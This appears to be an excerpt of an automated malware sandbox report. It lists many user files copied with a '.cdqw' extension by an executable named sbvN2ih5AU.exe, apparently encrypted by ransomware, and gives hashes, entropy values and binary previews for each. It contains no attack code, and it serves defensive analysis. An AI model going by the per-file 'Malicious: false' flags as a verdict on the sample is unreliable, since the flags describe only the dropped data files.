SSDEEP:	24:dW8yhjWNGPOSQly69LwXL+/pHdcjcwC1Z41pypnWCh+k9Valw/MTYHt2bD:dW8KWN3Dly+S+gjcwCzs45ZValD
MD5:	B98ECDDED9933F508FE5D7B5D2AA857B
SHA1:	CF9B2B10410B8867038D9A3DCCEABE286168381C
SHA-256:	706391FA6203722ACEE3558E34AA6376215149204FFDFB6CADB984C56C0B58CC
SHA-512:	7D7EF76B668B84E0001FB1BAA9FEC52174D2CA8A3F0B883894F6450D9E9BBAA8E94C0DADCA37325A93718E5FDDBB5B4683EC9657B30DC3D6D687A4BA6958C04F
Malicious:	false
Preview:	HTAGV...7l8?..H.s....Cj........)...,{..x.0y..B.i.....gWk=.\,.>_n..f.......6..V.m....CY...../...\...#..%f.N.{...T...P.'.h.'...X....K.k(.h....N...vJ..x>.G.0Z..._..J.]Y.M-....5x.7+C..qXgJ....].y....^\'RN.{.J.........!l....&.#....!.'.GYU^I.O./.....:_.(Q.....o.....Q?\|..6.L......87.`.lDg..?7./8c...)4'......3x.).O..#u.....j..LBWT.<A..P....TF\6..X...".........,o.......T...X..H....CE.4Z.bW' V.~}s..b..7..k..wi.Glg..S.........v"<.^..)LA.6..\|.'5}0d.8.I..f...P..T.p%Q....=5y...T.......J.FCzg.3h_w.2....F\|Z..-Y..+.#...#.lxh.2..~. 3 @..=.V.'r..z`S:.G.E...A...q[A.B..<....1Sd"...7....Z.).d..w..v..24........>.n......H...A....7....g=...`.2K;.95>..J..;. .,.$(....[...d.6...Z...j...co......R+~5....?...O8.....ii.......p3.3./Z4.....T.pcu.u.e.o.0..Z.......\g4..1N.......U:.{...>.\|..TQ.K.y.@..c.P..u/.2...@...H.s .wP..D..B......b..@....X&f.A..k...k.....,..l.q.>....WL. 7o...E.UX^...b.t......F.........1..X.y.wZ..Q....n%.C.d....f...{................+.b..fv....v.Y.(].u..RU

C:\Users\user\Application Data\Microsoft\Windows\Recent\JSDNGYCOWY.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.880858298156362
Encrypted:	false
SSDEEP:	24:EwruzehNmf8vYyxaZlVUaFyyhRWWUzFU9X95N3Kdz5XjWAjq9fe9dfJynJsh42bD:EBejQiUlVUSyyPUzK95g15TW/9fe98sh
MD5:	9BBC3B82A7E8BB34C56E35F6B884FDA9
SHA1:	BA341EF203E917D8CD81BD18810CA22118BF9020
SHA-256:	93492AFA3100BA1787B421F9529F1181A2CBBBEFA371ABF4EFDFA8C478E806B5
SHA-512:	CCC9219ED1CED7242D1638FA3DF8D01184D0E5FDC21CF64E82DC0A4CAD89800CD4AF975A37EF4A81947441C269E7070DF59B0F81B4CFEBA30F79B9C343B77786
Malicious:	false
Preview:	JSDNG}...t.\.F.<.....tx,.....fb..2.^...?....i.......C-..D\.....=.$Z.....$.8...8.6..a.q.. @.Tc..jJ5. M.3...N.@..S..`...k]S..[.Q.....X.H.~..;r...(.C....a.fZ..C.:..#nf..dB.8 ..f..V.Jl.M...[La4.....Y...+.g.TA......9!s../)..O..J#.v../Y!.c.4.?/.t.~.s.H1.P......K...:\|..&.'....KU...k..:...2.+..T....;...qTW7.:...Pi.Hv..w]...>0.?w.TY.Y....o9.....j.Qu.....o;.Y..)....\|.l..R....-P..-j...m.8]0.....1Km....f2.s^.2.. ...m.uh.y._.t.F......V.B.j<MVf....)F...}......!.r.v.7>z......7g......7.0.....U....T.-...........P.1...dw_j`...v.f+...\...I..S ..J..........R..+#H...f^.......<..%......>....)...cI..%a..5..........W...N.p........o.......].!<..+<....r_+Q.x.kR....=....=.=T.?J.!..[!....nK~.S..........3.o..9..z.\|.%......'e....X..76cxh....`_E.............u..X.5k....._.'GFS=ps5.."..........p.l..9.\E..:..op....[..4.~...R..............-.....).=A......#..j....c..@.w...?.B...Hr.3H,......\..[Gc5.H\|...I...Z.gK...q....5....p.:TU...e.w...k]..c.....9z........V....Z'.d.

C:\Users\user\Application Data\Microsoft\Windows\Recent\JSDNGYCOWY.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852111371416681
Encrypted:	false
SSDEEP:	24:jiPml12WT6Pc9m/pBa20XlNghZO5V9njV1u8+YbHzL9JSPNp+BR76DIewA/k0H1w:kHWu2m/ObXlcA5rnjVo32n9Alp+f6DIF
MD5:	0F1D8FE93E8C7CCF33725099A98E1514
SHA1:	D63AA178596982A8757CAFCEADA79AF8B7B71F47
SHA-256:	421A4E2EB7A559F5D3A6F65B130F1D61C2A3F05095DC49443091330E1389F78B
SHA-512:	FE3A91246CA1DCC523AB963A4002D6A09C9DF688D59990699C1FAAB96DBFB4983F7642B3234B2347FBA187FD11E850298F800B0327F7A1D17D686E5025110378
Malicious:	false
Preview:	JSDNG.Z.........l.V......QG......t.p..O.v...1N9.^.t~...t....._.N...+8...o..DU....-x#5.R......h.G..U....F.v7..{Q.f.$....b...3......:6e...Y...-89r..........^n%...:1....8..x..>.Rt#\6...>~.M......,d/.R.j..y.`.[..w.....p..x....(>...(.)..T........K..z.eb.......).%...).o...e.N..~qgE.h$G..U...-C.1........J')..5.W..... ..o...d.sE.F.hC.Sly.c.I..D.}.@.N.i<....HL\k..h,..d!.....@j......q...fxQah@..r.c.7.nd.~..y...A.,5..a.2\|8.]..;.......;.&..K#..-....',..h{3..c....Y.T)..A.%8.x....(...#&.d.I....m#....{K.8..x..6.....#...\|e.<....f....\|.MH....)..\A...u.7..s.p..a:....#..s{^.i..{.z.8.W......M....>=...x.[x.......'..je..N.Z...(.LV.....{..%..j....m'.[._...7.?...h.X.q...d......}...q.Y.~.B,t.y...mh...o4p......W......8..s...c&*.........\|.J...1.f..L..l...2.....,...........w......Y.....Dji...V~..iT..Q.D..@H..D...G...i.._....[.\.kn...r..H.....8}'..\|.{.}.n.....Y...FYrK..)3.....N5...Z......+.<.c.f.(...fq..&;O..ny1.J...(.kMJ....FI<...?GQ..p....A\.n~+.....qO.D_...

C:\Users\user\Application Data\Microsoft\Windows\Recent\KATAXZVCPS.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854756224625977
Encrypted:	false
SSDEEP:	24:xrS8LmYZdwwSNXjoF7QHABp2g4ndiriNFt7cKFbpIpLB82bD:A8Lm7wS96panUkcipINBPD
MD5:	C91A77E501AC77A61F72E8532FACA361
SHA1:	A6DF992A06CEC463EF8F05D23B8A415CC698023F
SHA-256:	4B26419C97B5EFB0E29E206F0C82C95CFC5D463D24467844F795C41D42CBED54
SHA-512:	7EC5B928D8BC1198779A8ECB1DCDBEEC4A644EF975BC5D83A2FEDFC94CD60966FB55F1656EE69A09D24C00B983E77FCFC2FB8FD556BA3C2644FCA284830E1855
Malicious:	false
Preview:	KATAX'.....>..x..m...#..j4ss...i....../s.......#..]...bnN.c.5^L.D.....".....).T.cr...'..?..GR!.....w@..6+f....>.F,.T....3.9D.t?.o@<..(.U&O.....nvu1..;...MB.15=.k..-....:bPOT$./.j.........e....A....(.Z"...K%^.>H.{Z._?....lt....;K.k&X................,.v.M../.zf.A<..R......O....Qg^.....l..o.)..T!{..`+[.B.CF.....x.).<..)c...8TU+.2..=`e].IN.E..9.Rf.!...sX....4q.......7.....M0..8..$..pr7../.........@X..w.^..'.&e6:2K....../.:[.T.......-P.._.m.........!.ZA..n...y....k..........Inp.F.p......"..).g.].c.....G'...L?.R............i#6.jN'.A....l..?2....-M.#...Y....f....!.~...=O.u.2....&....oW.h..7..W;HQ:....^....(:"..B....3....W...ZT..B....(%%.1..TV....(4q1it..FvU.q..B.w.N.+...9....x.z.....s-.....$.[.'.."u&~..hk.6.....?e...!.y,..:.<8.hK..`r$.+2.JsQ.i)!.........lJp.;=.+woR..s.J....\|.I1:y.p....?.5.,.w.....'.....F..g..>.E.....d#.X.x.....=..pu.+5.w.h/^.;.i.......kn.s.BYo&.~s:..g>.=@v!.<H..@.w....TM......m..K.).N=.w,..q....t}\|p..YA..b...;.k...!.(....*u..a...g

C:\Users\user\Application Data\Microsoft\Windows\Recent\KATAXZVCPS.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852385162576787
Encrypted:	false
SSDEEP:	24:hCheSsI8PelMEPPzWpX2cRG04BIsVnIeYBx6fNLZmyYAsQ2bD:GehPLEHzeXcBIsV/Y36fNL8yYxDD
MD5:	83BD87E98A5B8A64134280E2A7D3E1A9
SHA1:	9B6B9763B444F508EC38BE3776515687D01D076B
SHA-256:	20B839DFEA1B4F5DCED0751FE8E16E7242B0F47F5E38E2509005729455DCFCFB
SHA-512:	711D5C5BA8F1BD05B6B005AC26C9BA0DDF5F6F0A6A742C4E70DC0F539C108CE0157907CA7AE5EC80742F07A690944425EBD4DC43FD7E37C2597E8533F82F95EE
Malicious:	false
Preview:	KATAX..........[./...:.i..w..w..>....x.0H!i.n.B..p.O.b..xApa..u.U...s ....=9.H.rwM.5...y:].U.,_D....J...u..qkW.}.....4"=..]Yo...0..\|.......x....w...d.H.!z..Z.u.....qta.kD..%.....K1...X,..)..."..8.9...U3...R....^z&.Ru^........qtnS...v..tE~...;.`.....T`..(?..S..H.....dN...wC9.g<Z....1...,.6S...<.P..u.b..'.....^..t....../...7.r....>...N;....B.@.`..(..;^....l....w.z.;F.8.Q..z....-)SY.3...K!j.T....f\......F 6....)..?[...6.mfbn.y....\#..l4R.5?..6.8\.I=w.4.'.K..!.z.;.]...Y$d..(X._..4.....)..}..TH....<A.L.e8.C@....0.L...........CSt..oj.Z.v-(..j.T.B....FG..Z..nb%fP....L(.[F....Jp..\|..7N.J'(....a..,...p...$5.m.c...&C.c....C.#.lq...U\|.q...$D..l..Y.yq........VE....n+Y...K.B...^.Qb...p..=x.y...x.4\...JmeV#I.....7^B.8_.(.....P....]t.....<...!.{fk.j.y..o.*.....{.....$..+`{!..Gx-..I.~.D."[.[g...o..R....?..._.}./...bM.....n7I......+Hl.Z>.\|...L. ...{..S_..'.&?.T...>..G.LK..&E;...sO.\|83...c..En...=d...i......1.k}.J74F..c...l....';..4.K9..r\.ex.yB_...K...1.....F

C:\Users\user\Application Data\Microsoft\Windows\Recent\NEBFQQYWPS.docx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842073954770842
Encrypted:	false
SSDEEP:	24:ZVvjyn/kbCIERP+obCheRm3Fvkr7wpWiTbslUD3HMCmJl2bD:ZJysOIeeeOFMrUl+UrHMCmAD
MD5:	22A57018FE87475DC64590A987C810FD
SHA1:	880CB5AFDFA2AB2572C127F33B2247AF6C7D4BF9
SHA-256:	4ED662724B7E97ECE0534ED2E1314AE7CACBEC47CE467F35D6406CE0EF6107E1
SHA-512:	29E7B3AAD0C37EDFA325DC66FE1A4A2F82F86B9AFA56FCF07F3C7A0A3F7A3E5B4D4359DEC624A06B29F92802C4BE74D32966F816AFDB19B49CD2142C554B22C8
Malicious:	false
Preview:	NEBFQ`.......F.B.$.;=.<..J.{M"....G..WM..#...........Fo.....Q...&m3..(+.@..;r...+9....L.}....h..n.....D..N.hGf..c...&..........N..cl.......F4.9..].......]..+.w.n6...S@..........CL....\|...B.J..'. )....,....8..`v.v<U.1....!.Kr.>T\|k..........R.....b.a...OQ......9.H.Y.+.S....t.......c......-..~..-=.y....=#....DXj....x.j....;....>./..0.7..-.a.&.4..j......D.^.5..JD...T.h...72..2z^k.&.U.c.=?.....N..f....\'.tG.......@.$......(...d......Q.1...aJz...."[M..>ga..T...u,.A..}..<Z.1m..w(7.k.la0.G..ES_.;......6[..Qh....t."..t.c...........T'c{q......].1y...ox7.z...L..V7....O.htI.s}.#VEi...,D..R2...cHz._u=THv...-..`.G...(.1V0\............./C..v....Z.8A..n.Oj.wN.......2..*..2;.._Vk.d%T[.,.=....{.E.....)..L...6..9..o.W<.... ...Wo...d.z..TL}.t.<.6..,.J./.....Y..Q..C...HM..AF#.9.....o.un...8.......pj~....h.HRZ.kiD..O2&.p....i+^.lNi;X...^u#..B4A?..i.;...S....Ds"A}........{.....4...j..'.i..\..p..i..-...x...:S7#{d..`.)1..b7J.`.l..VC..Fv.Q./:K...N}?SKD5

C:\Users\user\Application Data\Microsoft\Windows\Recent\NEBFQQYWPS.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835985028038762
Encrypted:	false
SSDEEP:	24:iRE7NPjFOsz+PL9Akg3XKLeFc/91NnOLXm8q9VhgCqSHiMc8+qN+q3Y3WhAndhA8:oEpRPHZe9u68YVqeijYNV3kWs7AjkD
MD5:	9CD6B70FED3600F02AAC558C76F8CDB2
SHA1:	7047A583B525CFC1A86FC0A139369963253CB3B7
SHA-256:	19D65F089E843498AD77AB2C08B34957CE897D769D5B7DE24E0D7F75DCAD8C86
SHA-512:	27CA3A079AA4354625E7639C7B9054A7DA7FF603A13D0DC530F057C01AE02132A39D9B79F7230DEED1F0AE29130186A5ADC0EC4F0D60172E7340A33FE47CDAFD
Malicious:	false
Preview:	NEBFQ0.&..[..TB.m....P..\|7....cS..:.!}.....[..xj..5Z.a....FL...\|g....."4.zA.FN.......q.@E.....Z.Z.......X>.....&..7DJ.....K.M!83.A.AXzHm...4..o;.. .I......:..c.l..T..?..../..iua..`.+u.;.U...r..L.[p..f.... ...[.Tdl.......P...?s 2..7..{o;.OCt:..8_;.Q......L..4.)D.Co../lV.....j..--\..D\i...Q2c.Ke.E...MtA....R.....p.d.FX....S..vC.-...(#...d+Z...l..z...B..{.\|.$+W.f....8.iM9.S...M}t.{Uc.N.s.LtK.f..?..6...\5....Gx....._1^ye....>n{.g.$3.kd........O..:...S1.....8se...KL..(\..}....,N.,_.c..v....A.....z.=..G....H..G..].......%.o.\."=..e"p....g. ..A..)i..}.bK..Vg...\...?.../.wR!:.(..B.K....@.b.u...h..j....X....U.l........qA..o...GV..n=..5.,.o....\|.6(...DR?..O..;0.l;...%...N..t.LZ...4?.W....M8."Y.!.g......'.._R.X.s.2. ....pq..dp...-l.'N.2..`...Q.#.i.GS[....=g.fWR.(..Kc.A.`...6b{...#\..O..~.4..~....wq..P..)K.`.>.....(u..;%;...E.X.......(y..9..G.."9.:'.ip.'i>..7.N....C.<<4..#._*...{L.y1~\.pG.+......._g.H..M7..Q...N....qr..$...o..7L.R....5..7F}../..t.

C:\Users\user\Application Data\Microsoft\Windows\Recent\NIRMEKAMZH.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.871889458812477
Encrypted:	false
SSDEEP:	24:QAU4jCmzeVtNevFzOf0oiAWFfXsL38Gbz9eGXdQiC4xL2bD:2KCeeVtodqf0ovWJsL7kAC4x4D
MD5:	E5590E253D02D2636AA4161CE60D9EF8
SHA1:	6A94D0F54FB86A2CB112610BCD21D1375B604F25
SHA-256:	E9E766DFFB1F3316E09E5E529A65CCF123E0C0CE088719C64FB5B4A0351E819F
SHA-512:	974A66E683184FF054A03E34567BAC9704DE4E1AD4BC5A9AD205FA43036BD24695E9051477B158B9A607C26541E391420204ABA5043BE775E277C38BE68CA3F8
Malicious:	false
Preview:	NIRME.~.b4....t.I.v.......A<.UL...<.J..$.(G.....!.a.I.....8.?.....zGY..f.=..........Tb.y^e.+f.......6....Q-].....2..,_..^~......^.9....S..O.ah..H... ._'............'..?..:)5(<..8i.+...:...`.....Q.....t[.,.9v..#.....7.5..h...7...9._.j... 6DF........64.b..EpC....2.n.I.m:.O..8.."n.$.$\.z.r<..V.ls..H.m.$.1.i.G...oDc.qW..k..+.....R..g.&.w!L....._.=..:D...^...)w.N@....I..P.a.......:G..O5..G..`As..^.)>.Q~...vT.T..N(.b[..c........QU...4.....k/.....dT..5.V.[....(t..x.@.,.......T)3w........2...~.1i,&...2/...F...`h.C..[WJ...1..o.V..e.<....PI.!,?......U>.>M.. ..\|d...R94c.t.m.....tu.......v.qA.....j....4w.C?o@V.Z..b<.c......0...:c...`...yJ?.....7.{.4n.4....q.75...PTA.k......'6V.:..q.......Q.....`8......I.X.._.....6...Qa*....A.B.....]#.2.;")nO..@0.tf`.........h.HC...v..t.t..../&I.>h/..]...Ky..^q.....\..bO@?.M-G"[S.....[)....i..m.d.....o.a.Z`.l..=.R..W..yy..@.....4.....vMX\|.<.YpS.....c.3A.."UxD..~A......a...?pL);F.....{Y..d....h.

C:\Users\user\Application Data\Microsoft\Windows\Recent\NWTVCDUMOB.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848975007627096
Encrypted:	false
SSDEEP:	24:lyHApMXENdenBLsy9xVOPhNV2lUpBGaukNSQ3O+QwY9+x1/4vCo35Wye1RsxT7E7:lyH8MXUenNHOPhNQGNSQ3xCgye1y6D
MD5:	8FB7644D43B017D735CA2F1081B5407D
SHA1:	12B87840B4914409A5B0E4F2243AA004A8A320A3
SHA-256:	C1D5563C84F8B0485AF51E3A34E176DB416EA1EA8EEF9D8B44D27E74D2346411
SHA-512:	0F6ED2D38DC9D263132B2031D4A9EB503D462B6927813C6BC49BDA4B94B7A1CCB44BB18612CB34481C528450D7C5B8ED0383528EFC790583D9C3C9DD109BCA7D
Malicious:	false
Preview:	NWTVC..o=.:fU..A Ya...4.......]...../....fH.QDIs..N.Z.....Vy@..U.Rh.H..O.ig...~~$-.G..G...'.rb..\....fL.02k.}sl...<x....@.7.'&.. e.G. W.d...2.\0tPF}.._....E.(o.{....C"(....J...:..G.Q........f..c~)....N..z9.......6.Y!\|..p>..VHc..G....7V..R...V.je.r:...SF...A.L.L.......K_{B.(.mLj.r.n.......P(=<1t.....OI7.@._...Rd.Fi.v......Y.V......(w..g......Y...<^....Z1].9G.T... .H.B..Z9..H...P.j.i....'.6].3K...J..o.....1..,...'.]..6...m..$A..i.....1...W...kj....E..S.(....X.)$.....E.2cN....18.....A...\|.....\.\|..y..(,'.......1..9B....4a.....I#C.z.d>.!..@W..d.P.:m..p]..~.k.5J....[1..<...6..........RV6.8....T..j?.W1....H..w.Vz<.q y=.=....`..$..=.......T.n..n..'c.[^....v...=N.{.5..@>.D...g.1C..6A.Q..>6....v..oB...%...u.Ct...E..9[..s.E..~./.&l(S...(.B#%!v.e.v..(p.M....M.u....Ed../D.Yt....)d.\|$Ey....r..W.....`...g.Lf.....r...D;...qD.RN...z...H.Y5.Mw.8....b.A%.t..B...q{..a.;...-...+.1.Oz...e....x..3)...ljc.VW..0.GV....K....k<z$8#.QB..\...C.]a.).f....l...>..

C:\Users\user\Application Data\Microsoft\Windows\Recent\NYMMPCEIMA.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839767996862747
Encrypted:	false
SSDEEP:	24:cvXnMUm+q04xuw/Z/GOb+9GbduXV18VxQ1LUCvxDeE/B9wmT2bD:cPz1wx/GthXkaUmDeqdAD
MD5:	5CDB1DEDFAB824BB3EF85EC477D866D7
SHA1:	1DFCA743F584C1AE26EB0819686383C3EDB3F47E
SHA-256:	A8C831027740B8F13A29203D6AD2C568D2504E7BFA66C5842C539B6EE9ED3338
SHA-512:	00D1C8A451BE175FC5A1A3223A5584A5F75472B21C7E27D65A7CFF348190524A1768FA0FB7EF780BBFA341B9683570321ADD95D53FBBB82E0A2EB28733E589C0
Malicious:	false
Preview:	NYMMPM....B.sM....&&..i\.z...R...:{O.7.....P....3.WD...\|.........;.v......&....ZF.......+...w..)......P.. ..k.....%o.....v#=e....<1......u......i.....;k.)vW..CZ..I...i.tC3.{......b..MH.,. .. .... pA......W..f..sO..b...l.5K...4$T...5..L....I.u...a.[.:.D=....pc.-................Sy...5..(.n..._Jxd...,M.d}{...aT..SJv..}...xy.[..%..Ec.$ G..hM.b.!....o...C.......\S....a....Sk<{)5.?l...}.O$....4.z[-..C..E.....y....6..yt.p..s....pj.~.vv..s.x._..M,......`.y...K..>.p{[...z...i ........a2}";.T^...a.b._...}.v..\/.#S.....K...........r....\|.U...c.=.\......yBh..H.E6M.#o...ll.:.w.P:.^.D....Z.......8........^..#q.B..... ..m...pV..F.W.Z.T99C.A).y....)'..9d.0K.......'.<..Fn.]o0!..!./%.....O........p.3."_...h...J.e.5.K.%JiA.:"..,.F..y...8.~....V{.......\.M.zG&V...O+..kS....O.\|Yl..?D.."......t....K..\..`.._tg$ao{..R.tl^...T.@..V<.......$x.Vn@J....>.O.-.....k...w.-.....y...c.x..a...H....~..=.-..u........*..uL!....M.@~u....6...p......E.4..

C:\Users\user\Application Data\Microsoft\Windows\Recent\NYMMPCEIMA.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.832986900094232
Encrypted:	false
SSDEEP:	24:z6ypsNID/In+h4VAC9FjfLRd33IzR0njfWbS/7VvBialuOkuoltD2bD:zf3Dw+FC9RP5jfjYaluOkuawD
MD5:	1A4F5503F2D5AAFB84EEBC064403EB2D
SHA1:	B9047F0715609E291A46461EAFE53C726B84E766
SHA-256:	6B7E908BC500CEF48153DFA5DE7410C42479ED8C84FA483AE258D25EBB489EE3
SHA-512:	8C02E757B44940D92E5A88D2D2BA92E2DDDD6ACA10CFEFE44C2D1E37C137BCAB10A30122B58B5D661589EEE80ED105D8923B09CB94E3215275F5D33793F76DD9
Malicious:	false
Preview:	NYMMP.........Z..X.O.F.s.....Y..E6.[M...BX....W..Z.-.0.#k..7..<.........nl.....a.].....p.Ix\|..n.......m...c.M..j....H@.t2].<U...K.>....6.0nkP.......}.6.B1...<9.@NH8.rw........G.$.J.g...\...9..#K.y....4.^..K...&~..H.Ts.....U.....v.D"e.z.,.L.I3pG..S:....gO.4.....fyh...F.....c\|e..}..I..].J#..[.%...rW..7....p.leKd.wM...8..L.$v..b9.Y...;.D.vB7.".5SS.6..<..\|.K(8z...~....E@9.N.a]a..o..G...\ :jxM..@.+..O..5.5..R.P.!..v}...0v.....W....9.c....(...D+.h.8.....f1...X..)...^+..........8Ol%....e5zM....l...zs.......E...,2.}y..ZS\..K!5)...-z....D.....40D".VZ.{...&..s.Ns.".b."zw...Q.ea.K#....H9.B..:2....Y.....a:h{@t.-.l8@V......b.8!.>....<.L..H.H..G..CL.#I..f.Jis"......[/)...A.@r].4r...^{..4......5....3,O.C6.\..;...P>Zj?Ut......`.0Q......&..7.v.$.d.D........[.6^.4.....c..C......"....${.C~.x.e.w.t.....0......Z..bk....K.kr....-......n...f.8Zcm8.....O.."..<fs.K......^....y5.;..9.-.4...AU...hS...f...3=..o..+....J.P..b...s....F.K.6/..A.8............/...7.,

C:\Users\user\Application Data\Microsoft\Windows\Recent\NYMMPCEIMA.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834078554593203
Encrypted:	false
SSDEEP:	24:x7PofbBJ06Z7Ftflo1Q235NC8BnKui5VQx5dPlGiMuOkftUgjTMybHE71UkzyhGw:x7P76VLfliV508BnKf5eLWMz1dgyQ4D
MD5:	F82E0D014E30BED18086CC93638CC6E8
SHA1:	7DEB60D5711F762884DDA40AF1EEA801FBE50EBF
SHA-256:	57C60D659B74ACDA48FA6688294CDB43579A95945C18C4DF90F0DBAF39A159E8
SHA-512:	FFD5ACF17D1B9590BC987B28F5883BAC77BECB403B4F3E719B5ECFB546BE57C52B4E7C90807AB247EBE8B140274A26DB4CDCFA6EBE409ED4B114B3C88A5022C2
Malicious:	false
Preview:	NYMMP..9..\...v.8.(...pC.6...x.....~Q.J.2r...R...=S.........q^:......s.:.....%-.u......S.-...^B..(...J.=.O..Q_..p.E0..f.`.2....9.}..n...$.......e[.k.1.1(X.y)j.^.vTa.X%.3;.....&.....B.V.[....t..Xw......^..v..Z....z.H..U.........T...j...w.p.Q.4;.Y.....i>......'U?,.c.!.7.wnV.i@...9}..Xie.,p.~..(.Q. Z2@Q.r....:s5U..`......c(.'.O7r.&_....8.....Ez.....MO..28.D.zhT.#z..dP..D..\|...r....C{. ......../.\.......]..yA.3.hs3....kO.`_.w...y.W..$xA.ic..d....0<..O.....m..+!%C....i.h`.z..m..m.2..pX.{.{....<..0.HJ.-t.6.-...~.;.Z..q.....R.3s.E..@8..?I..,.Y.Umh...Z.....2^...C5..U....7!.....8\|......m[=..X'...+...-..M..Z/...u.Ws.]..yG.q.+.>.=.T....j...@..OO_..n.>..$.T...y[.....f..L-;.H.'.V2......I.....~.).-.}...YRu.......q.N... `....F_.H.]..nl.^G...e.}7-..o.I.e..0.sJ.Y.....y..y..... ._`o..6{.e.vy...S`]'.....7au.E1...y......]+.....!.H...+1..v.....q'...DF...[5e.Q:.\|..7.^.=tp....-spt.#..m......%.g...b.+"6..%.j.c.g..C.....6....."?.6....I.......M..._Oh...iZ%5T..@...(k..;R....

C:\Users\user\Application Data\Microsoft\Windows\Recent\ONBQCLYSPU.docx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860309721114121
Encrypted:	false
SSDEEP:	24:DqPkjVpSsNP0lwzHds4U5CSxLK+/Ew0oRnooVxsXPjuHxk4X07H2bD:Yk3hNctb55l/EQRooVECkBED
MD5:	EF8BBFFF054B8C3F4C1F76FCAE7842B9
SHA1:	12E4B06B30DB9C16051A147D93841D6D4D503DFA
SHA-256:	F7E0CA56BCF582E565718C5B29F70DCD0B3BA3F07446D2F4F0C708F613B1F40C
SHA-512:	28053318DFEF2BB604847B2E070FF47CE86ECDC56EA4D5E311EB49012C4919078F54F437A5A73F8B3DA49EB78E51FB51AA4051367F277293BD7071521157CF85
Malicious:	false
Preview:	ONBQCD.-.3...=/.m....fG..Uv...H:.+.d.....X.YA.....ci ..........\;b+..N_..........A.[V..}.......4....u.C............0...IA3... d.ht.Ua?...k.-...,......ZF.>{..9)lTe.....r..N.c.....R..y.<.\|......WlN... X^S.X...1x..].b......F3.8q..TJ...[..o.A.r......C-.p}..M...O. ...<.\=..V..9N4..C.Um.8)-..{$..5.m.....gD......`...\CU$.X.....!L.`...2N>,.E......VY...tm.p.C.......Z.G....Zj..J.Ji....G.X...eM.q.LQ.q.....S..gx..t...&u..{.S...Qp.4..l.h..c....[5fu?.......B...$C@..{...uv.-.&!...M.....Vg!.......-..cI.`"&....4.....A.=......D......yp..X......X.........4...A.....a.B...}...4ee........2....0...A..np.z....:...3.`"..T..iR$.>...n..)qD3......R[.j.\................)C.\|...mG-....O.!/j......I.u.?xB..Dz.n..f.. .q.x.R.yz.[..zs.}.nS~.T...W....B".....[k8I..@. 0._Q9.K........V........6..DV....~.5.T.U...M.....q..\|..P."..s..M..U.t ...*.z..ZO.I.....r................^..,cC...........9....zkXI.. ..r..../....c..y....cF..)..C.dm..s... .sa.;H<.........]I..2ot.O.Ic.STw+4...

C:\Users\user\Application Data\Microsoft\Windows\Recent\UMMBDNEQBN.docx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8389283651881705
Encrypted:	false
SSDEEP:	24:KQaWvAq4c6opbw9Rq7IZ/H0cYU/QaawDN8WT+6x4mLimbkLJ3Vit2Nd+Jp3VT2bD:HAvchbIQcYp8DN88+84PmboJ3GAulAD
MD5:	203F99092B46932B7E2C15372C8A2BA6
SHA1:	9DF42DF67B881F6A82F0AD3711C82064E6AFAD2C
SHA-256:	4F38F9A83A6D6A15194480456E927958BF593D6966F0137E4912F56997809582
SHA-512:	37ADE0002DA4C3CE9E06EFBB3FB9518DCE4FF3E6A728DE0210620A1FD051BC95010D2BBB034CFB54F98E45DCB600A5CEF56A92D538ADF3A23E66058F65F8FC33
Malicious:	false
Preview:	UMMBD...O0....2..G.].,W..p(.......9=..B..$....p..........c...B..M`.4"...lm..-...eZ6.<.C.!.I..v.hJ.`.)...,........eS.d....mQf....W..G..E.m..Z/z..8.6z.^....O....B.g..:l@..r>_E....U.~.._....a...3.. \|.)..<.;4....3..?#.k.N.s.Zrl...%..h..\ ..?.....V$........ecM\....%...#.o>....?..x.#.$..H......N..wlB7wN..,...?4..F....$.......X..$.h...V.#/{.8..vn...z...f..^Z.....M7`....]..<........2...l..[.T..+..U..eM9A`...L4i<..W-a........9.$...Ir..f.W.z[....)j....][.....!..}..Q...].o.....wTL#.?.KQ...U..$.^.\..G....bI^..:...6.V....$..v-.j.E7.2..L.........L...5.7a.s.........q...~..Mt.-.....i..ie.(.P.$....m\|po..p>9b7pfAe%h...x.i.B..d".oo]...ls......S,..\|.W..\|c...y..`.............(...OBP.6..-d..W..&...@.p%...O.{.....r\|/.......Z)&....N.W?.2.......n....T..7.A..........t...\|....b...h.^....Q...t?2;.......r.......?).Q..:.k.m.....IX6(I......=...C..e.A........RR.A..g..(...m.I...-.l....0..s.....x../>...n..4........'..k....3..a2V`......".q.@01A3......

C:\Users\user\Application Data\Microsoft\Windows\Recent\UMMBDNEQBN.pdf.cdqw (copy)

Download File

